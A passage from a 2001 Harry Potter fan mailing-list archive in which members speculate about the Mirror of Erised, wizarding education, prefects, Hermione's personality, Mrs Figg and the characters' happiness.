however, there is in each compartment both a door to the corridor, 
and a door directly to the outside.  From the corridor there will 
typically be four doors, evenly spaced along the length of the 
corridor, leading outside.  Some clues in the boks hint to this type 
of coach, including some places where Harry apparently loads his 
luggage directly into the compartment from the platform.  The photo 
at 

http://the-leaky-cauldron.org/images/2001/09/harry-dh-
hogwartsexpress.jpg 

also seems to support this.  If you look at it, you'll see a door 
that is not at the end of the coach, but at the middle.  The windows 
along the side of the coach, also are of a type consistent with 
compartments with a direct-exit door - three tightly spaced windows 
in each window-unit, suggesting that the middle one might be the 
window of a door.

Best regards
Christian Stub?




From catlady at wicca.net  Sat Sep 22 23:53:09 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Sat, 22 Sep 2001 23:53:09 -0000
Subject: Erised (was MOVIE: What Kloves wanted to do
In-Reply-To: <9oj4r0+9jj9@eGroups.com>
Message-ID: <9oj895+2uia@eGroups.com>

No: HPFGUIDX 26506

--- In HPforGrownups at y..., find_the.rivier at n... wrote:
> 
> My two knuts' worth - I wondered if the Kloves wrinkle might have 
> anything to do with what Harry sees in the Mirror of Erised? (snip)
> I'm wondering if one of the Kloves slips might have been to try to
> populate the Mirror with more dead family members than Harry 
> actually has at that time?  

I believe that the Mirror of Erised shows what the viewer desires,
not the truth. Ron saw a picture of himself as Quidditch Captain and 
Head Boy: "I'm wearing the badge like Bill used to". That serves as 
evidence that Ron wants some glory, but not as canon proof that the 
Head Boy insignia in the 1997-98 school year (his seventh year) will 
still be a badge like it was in Bill's time (and in Percy's time, per 
PoA). Dumbledore COULD change it to a baldrick because what the Mirror 
shows doesn't have to be true.

My point is, Harry just has to see a bunch of people that he will 
think are his family. They don't even have to be representations of 
real people, let alone real people really named Potter (the text 
calls them 'the Potters' altho' some of them have green eyes 
like his MOTHER, who was an Evans), like alone real people named 
Potter who have to be already dead.




From mellienel2 at yahoo.com  Sun Sep 23 00:43:15 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Sun, 23 Sep 2001 00:43:15 -0000
Subject: Erised (was MOVIE: What Kloves wanted to do
In-Reply-To: <9oj895+2uia@eGroups.com>
Message-ID: <9ojb73+aifh@eGroups.com>

No: HPFGUIDX 26507


> 
> I believe that the Mirror of Erised shows what the viewer desires,
> not the truth. Ron saw a picture of himself as Quidditch Captain 
and 
> Head Boy: "I'm wearing the badge like Bill used to". That serves as 
> evidence that Ron wants some glory, but not as canon proof that the 
> Head Boy insignia in the 1997-98 school year (his seventh year) 
will 
> still be a badge like it was in Bill's time (and in Percy's time, 
per 
> PoA). Dumbledore COULD change it to a baldrick because what the 
Mirror 
> shows doesn't have to be true.

But at this point Harry has never seen an image of his family; so he 
has no idea what they'd look like. Did JKR specify that the Erised 
Lily had his eyes? I can't remember. Dumbledore told Harry that he 
sees his family grouped around him -- not what he imagines as his 
family. Also, the auburn hair on his mother -- having no known family 
members who has auburn hair, it would be a bit random for Harry to 
conjure a redhead mother out of nowhere. If these were just his ideas 
of family, wouldn't they be somewhat off, or at least, not dead-on?

m




From mellienel2 at yahoo.com  Sun Sep 23 00:47:04 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Sun, 23 Sep 2001 00:47:04 -0000
Subject: Education - Animagus - Lupin - Happiness - Fan of Harry
In-Reply-To: <3BAD0F96.3D09D09C@wicca.net>
Message-ID: <9ojbe8+r42o@eGroups.com>

No: HPFGUIDX 26508


> I believe that wizarding children go to primary school to study
> non-magical subjects before they go to Hogwarts. I believe that most
> wizarding children go to small all-wizarding primary schools at 
which the owner, headmistress, and teachers are all witches, but 
parents who can't afford the primary school fees for their little 
wizards and witches either home-school or forge some paperwork to 
send their children to the local Muggle government school.  On the 
opposite end of the wealth scale, I believe that Draco was educated 
at home by multiple tutors, specialists in the various subjects.
> 

JKR has said they don't go to schools, they are home-schooled in the 
basic subjects...which I imagine would be an easier thing to do with 
magic...I still find that a little weird. Anyway, if they haven't had 
magic school before they go to Hogwarts, and the purebloods don't 
know anythign about muggle schooling, it would make sense that they 
haven't been at school before. Which gives the muggleborns an 
advantage, IYAM.






From rowena_grunnion_ffitch at yahoo.com  Sun Sep 23 00:49:23 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Sat, 22 Sep 2001 17:49:23 -0700 (PDT)
Subject: [HPforGrownups] Hagrid/Snape
In-Reply-To: <20010922222108.46575.qmail@web14204.mail.yahoo.com>
Message-ID: <20010923004923.56815.qmail@web20804.mail.yahoo.com>

No: HPFGUIDX 26509



--- Kelly Hurt <klhurt at yahoo.com> wrote:
 
> But they could be cousins.  That might explain why
> Snape is a
> pure-bloodist.

   Who says Snape is a pure-bloodist? As far as I can
remember there's no indication anywhere in the books
of his position on the question. 
   He is certainly very strongly prejudiced against
Harry, a pure-blood, not to mention Neville and Ron
and basically any Gryffindor regardless of ancestry.

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From CollectiveSIAS at aol.com  Sun Sep 23 01:00:11 2001
From: CollectiveSIAS at aol.com (CollectiveSIAS at aol.com)
Date: Sat, 22 Sep 2001 21:00:11 EDT
Subject: [HPforGrownups] Re: Education - Animagus - Lupin - Happiness - Fan of Harry
Message-ID: <113.50ac698.28de8e1b@aol.com>

No: HPFGUIDX 26510

In a message dated 9/22/01 8:47:23 PM Eastern Daylight Time, 
mellienel2 at yahoo.com writes:


> JKR has said they don't go to schools, they are home-schooled in the 
> basic subjects...which I imagine would be an easier thing to do with 
> magic...I still find that a little weird. 

 I didnt understand what you find a little weird  I am curious
Jenna ( who is coming out of the lurking shadows and never gave a proper 
introduction)


[Non-text portions of this message have been removed]




From k_wayment at hotmail.com  Sun Sep 23 01:04:43 2001
From: k_wayment at hotmail.com (Kyli Wayment)
Date: Sun, 23 Sep 2001 01:04:43 
Subject: [HPforGrownups]Re: Question From A befuddled American
Message-ID: <F1158dyDd3OJXsNQptg000056f3@hotmail.com>

No: HPFGUIDX 26511




From: Rowena Grunnion-Ffitch <rowena_grunnion_ffitch at yahoo.com>
Reply-To: HPforGrownups at yahoogroups.com
To: HPforGrownups at yahoogroups.com
Subject: Re: [HPforGrownups]Re: Question From A befuddled American
Date: Sat, 22 Sep 2001 08:34:26 -0700 (PDT)


--- Kyli Wayment <k_wayment at hotmail.com> wrote:

>>I'm the same: Befuddled American, but I have an
>>idea, although it may not be
>>correct.
>>   I figured that prefects are one boy and one girl
>>from fifth and sixth year
>>from each house. There are no seventh year prefects
>>because there is the
>>Head Boy and Girl.

>So basically you're saying there are two prefects
>per house, both fifth or sixth year students, right?

  Well, I was thinking that there are four prefects from each house: a boy 
and girl for fifth year and a boy and girl from sixth year.
  ~Kyli


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From r_deutsch at msn.com  Sun Sep 23 01:05:29 2001
From: r_deutsch at msn.com (Rena D.)
Date: Sat, 22 Sep 2001 18:05:29 -0700
Subject: [HPforGrownups] Muggle Jobs Congruent to WizWorld Jobs; education
Message-ID: <F10NmlQtcF8ClutBp3w00004f75@hotmail.com>

No: HPFGUIDX 26512




>That having been said, I have wondered how Wizarding children learn
>to read, to write, to do the background math that would be the pre-
>requisite for Arithmancy and Astronomy, and probably useful in
>Potions.  Muggle History would come through with the History of
>witchcraft, as the two do interact to a certain extent.  In the
>sciences, botany and biology are taught, by Prof. Sprout and Hagrid;
>physics is totally irrelevant, but geography is as important to
>Wizards as to Muggles (!).  Any thoughts, anyone?

We've had this discussion before, several months back.
I still think the kids are homeschooled, maybe some parents hire a tutor.

Rena


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From CollectiveSIAS at aol.com  Sun Sep 23 01:12:00 2001
From: CollectiveSIAS at aol.com (CollectiveSIAS at aol.com)
Date: Sat, 22 Sep 2001 21:12:00 EDT
Subject: intro
Message-ID: <13c.1ddf21a.28de90e0@aol.com>

No: HPFGUIDX 26513

Ok I figured now is as good a time as any......  
I am glad to find such a great adult group, 
I find the conversation very thought provoking and entertaining I loved the  
you-know-who song   :)  Some suggestions have been great and I am currently 
listening to the books on audio cassettes.  Its been a lot of fun! 

Jenna (trying not to lurk in corners)


[Non-text portions of this message have been removed]




From rowena_grunnion_ffitch at yahoo.com  Sun Sep 23 01:22:31 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Sat, 22 Sep 2001 18:22:31 -0700 (PDT)
Subject: [HPforGrownups] It's All About Harry -- Percy Fans United -- Introducing S.C.H.A.B.B.
In-Reply-To: <3BACC591.60506@swbell.net>
Message-ID: <20010923012231.61691.qmail@web20801.mail.yahoo.com>

No: HPFGUIDX 26514



--- Penny & Bryce <pennylin at swbell.net> wrote:

> Okay, so what is SCHABB, you ask?  SCHABB stands for
> Stop Calling 
> Hermione a Bossy Braggart.  I was going to call it
> Stop Calling Hermione 
> an Insecure Bossy Braggart who is Incapable of
> Running her own Love 
> Life,

    Well, sorry, but she *is* bossy *and* a little
showoff, (does she *have* to answer *every* question?
Can't she give somebody else a chance occasionally?)
But it seems to me she's doing rather well in the
love-life department. Her first date is an
international celebrity who is seriously infatuated
with her *and* Ron has been taught not to take her for
granted - does it get better than this? and at
fourteen too.



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From ebonyink at hotmail.com  Sun Sep 23 01:24:52 2001
From: ebonyink at hotmail.com (ebonyink at hotmail.com)
Date: Sun, 23 Sep 2001 01:24:52 -0000
Subject: Muggle Jobs Congruent to WizWorld Jobs; education
In-Reply-To: <F10NmlQtcF8ClutBp3w00004f75@hotmail.com>
Message-ID: <9ojdl4+najh@eGroups.com>

No: HPFGUIDX 26515

> >That having been said, I have wondered how Wizarding children learn
> >to read, to write, to do the background math that would be the pre-
> >requisite for Arithmancy and Astronomy, and probably useful in
> >Potions.  Muggle History would come through with the History of
> >witchcraft, as the two do interact to a certain extent.  In the
> >sciences, botany and biology are taught, by Prof. Sprout and 
Hagrid;
> >physics is totally irrelevant, but geography is as important to
> >Wizards as to Muggles (!).  Any thoughts, anyone?


Rena:

> We've had this discussion before, several months back.
> I still think the kids are homeschooled, maybe some parents hire a 
tutor.


We've cycled through this discussion several times over the past year 
and some change, actually.  Yet I never tire of this topic. 

While some of the children might be homeschooled, I think there is 
subtext in canon to prove that some sort of pre-secondary wizarding 
education exists.  Haven't we mentioned that some of the students 
seem to know each other?

After visiting the UK this summer, I am intrigued by the idea of 
first schools for magical children... and I think I just might have a 
good idea of where the one in Oxfordshire might be hidden.  ;-)

--Ebony AKA AngieJ




From rowena_grunnion_ffitch at yahoo.com  Sun Sep 23 01:38:54 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Sat, 22 Sep 2001 18:38:54 -0700 (PDT)
Subject: OT US/UK English
In-Reply-To: <001b01c14388$c91fc400$aa92aecb@price>
Message-ID: <20010923013854.68177.qmail@web20809.mail.yahoo.com>

No: HPFGUIDX 26516



--- Tabouli <tabouli at unite.com.au> wrote:

> (insert hasty disclaimer that I am open to
> correction from outraged North Americans and Britons
> before I continue my comments).  A lot of fanfic
> writers pointedly sprinkled in a lot of classic
> English slang, but unconsciously used a lot of very
> US words instinctively: for example, characters
> saying "You're nuts" (a very American expression),
> rather than "You're mad" (mad meaning "angry" rather
> than "crazy" in American English), and the regular
> use of the term "dating", which AFAIK is not used as
> much outside the US and Canada.

   Ah, so that's why everybody keeps talking about
'partners' for the Yule Ball rather than 'dates'.
   Mistakes in slang go the other way too. I recall
one Doctor Who episode, (Fifth Doctor) in which a
supposedly American character describes the villain as
'doing a bunk' thus leading to murmurs of 'say what?'
from across the fruited plains. Nor will I ever forget
the expressions of total bewilderment on the faces of
my American Who Fan Club as we watched the Cricket
game in 'Black Orchid'. Nor did the explanations of
our British born president help much - Quidditch is
simple by comparison.
   Like the man said; two great nations divided by a
common language.

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From ebonyink at hotmail.com  Sun Sep 23 01:40:09 2001
From: ebonyink at hotmail.com (Ebony)
Date: Sun, 23 Sep 2001 01:40:09 -0000
Subject: In Defense of Hermione
In-Reply-To: <20010923012231.61691.qmail@web20801.mail.yahoo.com>
Message-ID: <9ojehp+ulna@eGroups.com>

No: HPFGUIDX 26517

Penny:
> > Okay, so what is SCHABB, you ask?  SCHABB stands for
> > Stop Calling 
> > Hermione a Bossy Braggart.  I was going to call it
> > Stop Calling Hermione 
> > an Insecure Bossy Braggart who is Incapable of
> > Running her own Love 
> > Life.

Rowena:
>     Well, sorry, but she *is* bossy *and* a little
> showoff, (does she *have* to answer *every* question?
> Can't she give somebody else a chance occasionally?)
> But it seems to me she's doing rather well in the
> love-life department. Her first date is an
> international celebrity who is seriously infatuated
> with her *and* Ron has been taught not to take her for
> granted - does it get better than this? and at
> fourteen too.

Well, it seems to me that as she gets older Hermione is getting 
better at not being so bossy.  And if she believes she knows the 
answers, why shouldn't she raise her hand?  Often in the narrative no 
one else does. 

I don't think Hermione shows off in the beginning because her ego is 
big.  I think she is a bit insecure and feels as if she needs to 
showcase her knowledge to prove her worth in this new world she's 
found herself in.  

As far as the love life issue is concerned, I have the sneaking 
suspicion that JKR is only setting her up for angst.  Sure, she gets 
to whisk into the ball on the arm of a celeb and the wrong best 
friend is mooning over her.  This doesn't mean that it's going to be 
a cakewalk for her in the romance department from now on.  Let's not 
forget that poor Neville seems to be harboring a small crush, Ron 
will not necessarily drop his mercurial tendencies even if she 
decides she likes him back, and she's still Harry's best friend... 
still a target for Dark Arts sympathizers, still a target for rogue 
journalists.  After all, the Gryffindors, the rest of the Hogwarts 
students with good sense, and Molly *Weasley* now know that the Daily 
Prophet tabloids in GoF were lies and overexaggerations.  The rest of 
the wizarding world does not.

See?  Hermione deserves our sympathy too!  :-)

--Ebony AKA AngieJ




From meboriqua at aol.com  Sun Sep 23 01:47:43 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Sun, 23 Sep 2001 01:47:43 -0000
Subject: Happiness and Harry
In-Reply-To: <9oildu+4dg0@eGroups.com>
Message-ID: <9ojevv+g8u7@eGroups.com>

No: HPFGUIDX 26518

 Tabouli wrote:
> 
> "As for the happiness of the characters, there's plenty of room for 
> speculation there: is Dumbledore happy?  Is Hermione?  Dudley?  The 
> Weasley twins?">

Ebony responded:
 
> What an interesting question.  As I began to think about it, I 
> realized that NONE of the characters are really very happy in the 
> truest sense of the word.  I can't help but think of the "shadow" 
> premise of my generations theory... they have happy moments (some 
> more than others--Fred and George might have more, Snape might have 
> less) but IMO none of the characters are truly content.>

Is anyone happy all the time?  I feel that there are things that make 
all of us unhappy sometimes.  For example, I am unhappy in my school 
right now because I lost my classroom and I have to share with another 
teacher.  However, I love teaching there and I adore my students.  
There is always a balancing act.

Harry to me seemed the happiest during his first year at Hogwarts.  
Everything to him then was an adventure and he was for the first time 
surrounded by people who not only genuinely liked him but who also 
knew more about him than he did about himself.  Since then he has 
dealt more directly with being ostrasized, being feared, arguing with 
his best friend, being accused of all sorts of things, and the worst - 
seeing a school mate murdered in cold blood right in front of him.  
How happy would I be?  

Hermione seems to be a fairly happy person but she puts a lot of 
pressure on herself and that can be overwhelming.  Ron has grown 
darker, especially in GoF, but I also think he was happiest in his 
first year at Hogwarts, before his jealousy started to get the best of 
him.  Snape is not a happy person to me in any way - he doesn't seem 
to enjoy teaching, harbors many a grudge, and is clearly dealing with 
his own past and trying to get over it.  Having Dumbledore's support 
probably helps him through his days.  Dumbledore is now burdend with 
the rise of Voldemort and his own inevitable aging, yet he (like I) 
loves Hogwarts and his position there, making his happiness not quite 
complete.  

As for Amber's comments about being jealous of Harry - I agree with 
Ebony that I wouldn't want to be in Harry's shoes either.  Even though 
he has the appearance of the boy who has it all, what does he have, 
really?  He knows both of his parents were murdered, he has no 
siblings to share things with, the most evil of all dark wizards is 
continually after him, and people are always staring at him, reading 
about him and asking about him wherever he goes.  Poor Harry; he 
carries an enormous burden on his shoulders and sometimes I think it 
takes everything in him to handle it.  When will he crack?  Wish I 
could give him a big hug!

--jenny from ravenclaw, who isn't kidding




From aiz24 at hotmail.com  Sun Sep 23 01:50:29 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Sun, 23 Sep 2001 01:50:29 -0000
Subject: Ancestor/descendant - ST and RL, ages - Happiness
Message-ID: <9ojf55+1051u@eGroups.com>

No: HPFGUIDX 26519

Bobbins wrote:

>JKR hinted in an online chat that the ancestor/descendent mix up 
might be intentional

I have wanted to ask about this for months.  Does anyone have a theory 
as to what she might have meant by that?  What =would= it mean for 
Riddle to be Slytherin's "last remaining ancestor"?  Theories, anyone?

Catlady wrote:

> The other
> females on staff are old enough to be his mother or grandmother and
> perhaps all of them remember having him as a student. 

I'm not so sure the other women are older, nor that Trelawney is his 
age.  She's twice referred to as an "old fraud" (PA 16, GF 10, GF 13). 
 In that context "old" might have nothing to do with age, but IIRC (I 
can't find the reference, fine me 2 Sickles and give it to the 
L.O.O.N. treasury) Ron at some point calls her an "old bat," which 
seems an unlikely slur against a 35-year-old woman, even granting that 
the slurrer is 14.  

Re: the ages of Sprout, Vector, Pomfrey, and the 
as-yet-ungendered-but-probably-female Sinistra, do we have any clue 
whatsoever?  With Hooch we know only that she rode a broom that was 
first produced before 1926, which argues for a Hooch born in the first 
quarter of the century but is not at all decisive.

I do suspect Trelawney has the hots for Lupin, but one reason he fled 
might be that she's 75.  As if one needs another reason to flee ol' 
Sybill, on top of the fact that she's nuttier than a fruitcake and a 
sure-fire source of depression.

Catlady wrote:

> I am find it very difficult to find words to discuss happiness. When
> speaking metaphysics, surely there must be a distinction between 
saying
> 'a happy person' and 'a cheerful person'. And the word 'contented' 
that
> someone on this thread introduced.

Important distinctions, thanks.  I don't know what I meant by asking 
whether RL is happy, because I don't know what JKR meant by saying 
that the happiest people do not become ghosts.  It's instructive to 
remember that (IIRC) she said it in the context of being asked whether 
James and Lily became ghosts.  She said they didn't--and I think it's 
true that just because your adult years are dominated by a reign of 
terror, you're murdered before your 23rd birthday, and you die 
believing your entire family will be destroyed, that doesn't mean 
you'd describe yourself as an unhappy person.  I'm being quite 
serious.  Clearly JKR does not mean to say that whether one 
becomes a ghost depends upon one's state of mind at the moment of 
one's death, else James and Lily would surely be ghosts.

I tend to think Remus is happy, more or less, because he seems to have 
an equilibrium that I equate with happiness--but there, that's my 
definition, your mileage may vary.  His losses have been staggering, 
but they are also 12 years in the past.  People rebuild their lives.  
People can also be happy in spite of being persecuted.  At the end of 
PA he has to be miserable about leaving Hogwarts (it seems like an 
expulsion from paradise from my POV), but on the other hand he has his 
dear friend back, miraculously.

Amy Z

---------------------------------------------------------
 My country is the world, and my religion is to do good.
                   --Thomas Paine, "The Rights of Man"
---------------------------------------------------------




From kristen at sanderson-web.com  Sun Sep 23 01:52:51 2001
From: kristen at sanderson-web.com (kristen at sanderson-web.com)
Date: Sun, 23 Sep 2001 01:52:51 -0000
Subject: Mrs Figg, and her broken leg....
In-Reply-To: <122.4bbe04e.28de3e23@aol.com>
Message-ID: <9ojf9j+u72q@eGroups.com>

No: HPFGUIDX 26520


Another thing I found interesting is that in SS, Harry mentions that 
Mrs. Figg's house smells like cooked cabbage.  In CoS when they made 
the Polyjuice Potion, it said that it tasted like cooked cabbage.  I 
keep wondering if there's any connection.  Any thoughts?

Mrs. Figg for DADA
Kristen

--- In HPforGrownups at y..., devika261 at a... wrote:
> In a message dated Sat, 22 Sep 2001 11:20:58 AM Eastern Daylight 
Time, vheggie at y... writes:
> 
> > Having spent my Saturday lunchtime listening to PS/SS on audio 
tape, 
> > I've a few questions/suggestions about the mysterious Arabella 
Figg.
> > 
> > Early on in PS/SS, she breaks her leg, supposedly from tripping 
over 
> > one of her cats.  As a consequence of this, Harry gets to go to 
> > London Zoo, and have his first conversation in Parseltoungue.
> > Several weeks later she's still on crutches, since Dudley nearly 
runs 
> > her over with the racing bike he gets for his birthday.
> > Why did she not mend it/have it mended with magic?
> > 
> > I've several ideas, some more likely than others....
> > 1)It wasn't really a broken leg, but something far more serious
> > 
> > 2)She is actually a squib/muggle, but with sympathies for the 
> > wizarding world & therefore couldn't repair it herself.
> > 
> > 3)She is actually a witch, but, as part of her disguise in the 
muggle 
> > world, cannot use any magic, or have contact with the magic world 
> > (perhaps part of the protection around Harry?)
> > 
> > 4)She is a witch, but in order to 'blend in' she's making a real 
> > effort not to use magic or appear different, so she's using 
crutches 
> > for the sake of appearances.
> > 
> > 5)She is a witch, and it was necessary to pretend to have a 
broken 
> > leg, so Harry could go to the Zoo (did Dumbledore have suspicion 
> > about Harry's 'language skills'?) - the crutches were just 'for 
> > appearances sake', as above.
> > 
> > Personally I like option 3 best...any thoughts?
> > 
> 
> 
> Well, I'm supposed to be writing an English paper, but I like this 
question, so I'll take a break to answer it.
> 
> I'd go with a combination of 3 and 5.  I think Arabella Figg is a 
witch who has for some reason been living in a sort of exile from the 
wizarding world--probably self-imposed, and for the sake of Harry's 
safety.  She may or may not have actually broken her leg, but I think 
that she knew it was Harry's last full year with the Dursleys since 
he would be turning 11, and she wanted him to enjoy himself for 
once.  The broken leg was a good way for her to get out of watching 
him, so it was likely that the Dursleys would take him to the zoo.  
And Harry did have a good time until the snake incident.  I don't 
believe that the whole Parseltongue thing was part of any master plan 
on Mrs. Figg's or Dumbledore's part, but you never know.
> Also, IIRC, Harry did have to stay with Mrs. Figg one day when Aunt 
Petunia was shopping with Dudley.  She was then nicer than usual to 
him, not making him look at pictures of her cats and giving him 
chocolate cake.
> 
> Hmmm...I wonder what was in that chocolate cake.  A potion to give 
Harry courage, maybe?  Not that he needed it, though.
> And what's with the cat pictures?  Is it some kind of clue?  Maybe 
Crookshanks once belonged to Mrs. Figg.  Or maybe Mrs. Norris has 
something to do with it.  
> Hmm...the plot thickens...
> 
> Devika, who should be thinking less about Harry Potter and more 
about virgin martyr legends...




From rowena_grunnion_ffitch at yahoo.com  Sun Sep 23 01:56:03 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Sat, 22 Sep 2001 18:56:03 -0700 (PDT)
Subject: [HPforGrownups] Re: Prefects/Forms? (was Re: Question From A befuddled American)
In-Reply-To: <00ef01c14384$0309c300$093770c2@c5s910j>
Message-ID: <20010923015603.83059.qmail@web20805.mail.yahoo.com>

No: HPFGUIDX 26521



--- Neil Ward <neilward at dircon.co.uk> wrote:

> << It is the function of magic to bend the laws of
> physics ;) and what is a
> L.O.O.N.? >>
> 
> Good point... and L.O.O.N. is the League Of Obsessed
> Nitpickers, a group of
> members of this list who are offered membership on
> the evidence of their
> posts on topics such as the number of prefects at
> Hogwarts.

    In which case I will soon prove my qualifications
to join. :)  To pick further nits; we know the moring
session consists of two classes seperated by a break
but how many afternoon classes are there and when do
formal schooling hours end?
   Six o'clock, (after dinner and on) seems to be free
time. In CoS it is remarked how crowded the Gryffindor
Common Room becomes 'since there was no where else to
go after six' suggesting that normally there are a
number of evening activities. 

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From caliburncy at yahoo.com  Sun Sep 23 01:58:35 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Sun, 23 Sep 2001 01:58:35 -0000
Subject: It's All About Harry -- and various other clubs
In-Reply-To: <3BACC591.60506@swbell.net>
Message-ID: <9ojfkb+7sdq@eGroups.com>

No: HPFGUIDX 26522

--- In HPforGrownups at y..., Penny & Bryce <pennylin at s...> wrote:
> An *anti-Harry* thread?  How can that be?  I know there are people 
> who maybe favor some of the other characters, but how can anyone 
> dislike Harry?  Impossible.  Heresy, even!  :--)
<snip>
> I nominate Ebony or Jenny to come up with a good acronym for us 
> Harry fans!

I'm not Ebony or Jenny (as best as I can remember) but I'm with you on 
this one.  Unfortunately I seem to have stumbled upon a creative 
dryspell.  Some days I'm better at this.  My first thought was How 
Anyone Can Not Love Harry Is Beyond Us, but H.A.C.N.L.H.I.B.U just 
lacked--I don't know--that special ring to it.  :-)

And so I deliberated on many other possibilities, but the only halfway 
decent one I came up with was:

A.S.T.O.N.I.S.H.E.D. ([A]t [S]tatements [T]hat [O]bject to [N]ice, 
[I]ntelligent, [S]weet [H]arry's [E]ndearing [D]emeanor)

It's a bit too long, and not properly descriptive of these alleged 
anti-Harry-ites complaints, but I enjoyed the fact that the acronym 
was also the first word of the sentence.

***

Now then, regarding all the other clubs I should have dealt with 
sooner:

I'll toss in my dues for C.R.A.B., S.C.H.A.B.B., and P.I.N.E.  But I 
don't know that I could do Percy Fans United, because though I love 
ALL of JKR's characters (even the Dursleys with all their ignorance 
and prejudice), I couldn't really call myself a Percy *fan* per 
se--I'm not that dedicated, you know?

And what the heck's the name of the Lupin fan club around here?  I'm 
sure there must be one for my favorite character, right?  Just so long 
as it isn't about Lupin's sex appeal (which, for reasons you might 
guess, has no impact on me), I'd be in on that to.

-Luke




From rowena_grunnion_ffitch at yahoo.com  Sun Sep 23 02:39:29 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Sat, 22 Sep 2001 19:39:29 -0700 (PDT)
Subject: [HPforGrownups] In Defense of Hermione
In-Reply-To: <9ojehp+ulna@eGroups.com>
Message-ID: <20010923023929.29714.qmail@web20807.mail.yahoo.com>

No: HPFGUIDX 26523



--- Ebony <ebonyink at hotmail.com> wrote:

> Well, it seems to me that as she gets older Hermione
> is getting 
> better at not being so bossy.

   A little better. But take her House-Elves rights
campaign, she's going strong at it for months before
she even bothers to talke to some House-elves and find
out what *they* think. 
   I believe Hermione is guilty of projecting human
needs and aspirations on non-humans. Maybe House-elves
are brainwashed, or maybe they really do have very
different emotional needs. I suggest Hermione find out
which it is before she starts her crusade.

  And if she believes
> she knows the 
> answers, why shouldn't she raise her hand?  Often in
> the narrative no 
> one else does. 

   What's the point, Hermione Granger will get in
first anyway. ;(
 
> I don't think Hermione shows off in the beginning
> because her ego is 
> big.  I think she is a bit insecure and feels as if
> she needs to 
> showcase her knowledge to prove her worth in this
> new world she's 
> found herself in.  

   I agree she's a bit insecure, what eleven year old
wouldn't be going off to a totally unknown enviroment
for the first time? But being a know-it-all is not the
way to gain friends and one would think she'd know
that.
 
> As far as the love life issue is concerned, I have
> the sneaking 
> suspicion that JKR is only setting her up for angst.
>  Sure, she gets 
> to whisk into the ball on the arm of a celeb and the
> wrong best 
> friend is mooning over her. 

   'Wrong best friend'? who says Hermione wants Harry,
or Ron either for that matter, as anything but a
friend? At this point I think all she really wants
from either of them is to be recognized as a girl and
not taken for granted. 
   The fact that Viktor Krum, a celebrity with girls
literally swooning at his feet, finds her terribly
attractive must be a tremendous boost to her self
confidence - even if she's not sure she returns his
feelings.

 This doesn't mean that
> it's going to be 
> a cakewalk for her in the romance department from
> now on.  Let's not 
> forget that poor Neville seems to be harboring a
small crush,

    I agree that could be a problem. The last thing
Hermione, or any decent girl, would want to do is hurt
poor Neville's feelings. Of course there's every
possibility he'll transfer his interest to Ginny - and
she might find that very agreeable after years of an
unrequited crush on Harry. Neville *is* rather sweet
and if Ginny takes after her mother she might discover
she likes a boy who needs looking after very much.
    As for Harry and Ron, they have a *lot* to learn
about how to treat a girl on a date - those poor Patil
sisters! Parvati at least got to make a grand entrance
on the arm of a Champion and open the dancing but Ron
completely ignored poor Padma. 
   
> See?  Hermione deserves our sympathy too!  :-)

    No question she has her problems, just like
everybody else in the Wizarding World. And like
everybody else her problems are going to get a lot worse....

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From rowena_grunnion_ffitch at yahoo.com  Sun Sep 23 02:49:16 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Sat, 22 Sep 2001 19:49:16 -0700 (PDT)
Subject: [HPforGrownups] Work after Hogwarts?
In-Reply-To: <4.2.0.58.20010921130934.00a853f0@mail.mcn.org>
Message-ID: <20010923024916.30267.qmail@web20807.mail.yahoo.com>

No: HPFGUIDX 26524



--- Catherine Keegan <keegan at mcn.org> wrote:
> At 10:47 AM 9/21/01 -0700, you wrote:
> >--- Catherine Keegan <keegan at mcn.org> wrote:

> Is there a pointer to the interview?  I've caught a
> few of the JKR talks 
> here and there, mostly on Scholastic's very cute web
> site, but I've missed 
> most of them.  Is there a collection of them some
> place?  I'd like to see 
> what I've missed.

   Well there are links to interviews on the Lexicon's
source page if that helps. Unfortunately JKR always
refuses to answer the really interesting
questions.....:(
    
 


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From mindyatime at juno.com  Sun Sep 23 02:49:17 2001
From: mindyatime at juno.com (Mindy C.L.)
Date: Sat, 22 Sep 2001 22:49:17 -0400
Subject: PoA Paperback - Percy's engagement - Triwizard Tournament
Message-ID: <20010922.224920.-388527.6.mindyatime@juno.com>

No: HPFGUIDX 26525

Why, oh why, do I always reread the HP books on the Sabbath? By the time
nightfall arrives I forget EVERYTHING I wanted to say!!

But I do remember a couple of things....

Firstly, Milz, no, the error with the 'fifteen years' was NOT fixed in
the paperback PoA....

Secondly, I am puzzled by something in GoF. When Harry arrives at the
Burrow and Ron growls by how obsessed Percy is about Mr. Crouch, he says,
"They should be announcing their engagement any day now." Oh my gosh,
what kind of engagement are they talking about? Is this supposed to be
sarcasm? A real slash romance? Or is there something in BritEnglish I
don't understand?

Also, I have another question about the entire Triwizard Tournament. What
do you think would have happened had Harry NOT taken part in the
Tournament? I know it's a rule that once your name comes out of the
goblet, you have to participate, but nothing terrible would happen if
Harry would not participate. It could've been dismissed by Dumbledore as
a mistake, period. Nothing major would be at stake if Harry would've
opted out. I am puzzle that the rules were taken so rigidly and literally
about the obligation to partake in the tournament.

I have loads of PoA observations but sadly my memory has failed me. I'll
have to riffle through the book later and see what I may have missed.
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From rowena_grunnion_ffitch at yahoo.com  Sun Sep 23 02:56:37 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Sat, 22 Sep 2001 19:56:37 -0700 (PDT)
Subject: [HPforGrownups] PoA Paperback - Percy's engagement - Triwizard Tournament
In-Reply-To: <20010922.224920.-388527.6.mindyatime@juno.com>
Message-ID: <20010923025637.67352.qmail@web20801.mail.yahoo.com>

No: HPFGUIDX 26526



--- "Mindy C.L." <mindyatime at juno.com> wrote:

> Also, I have another question about the entire
> Triwizard Tournament. What
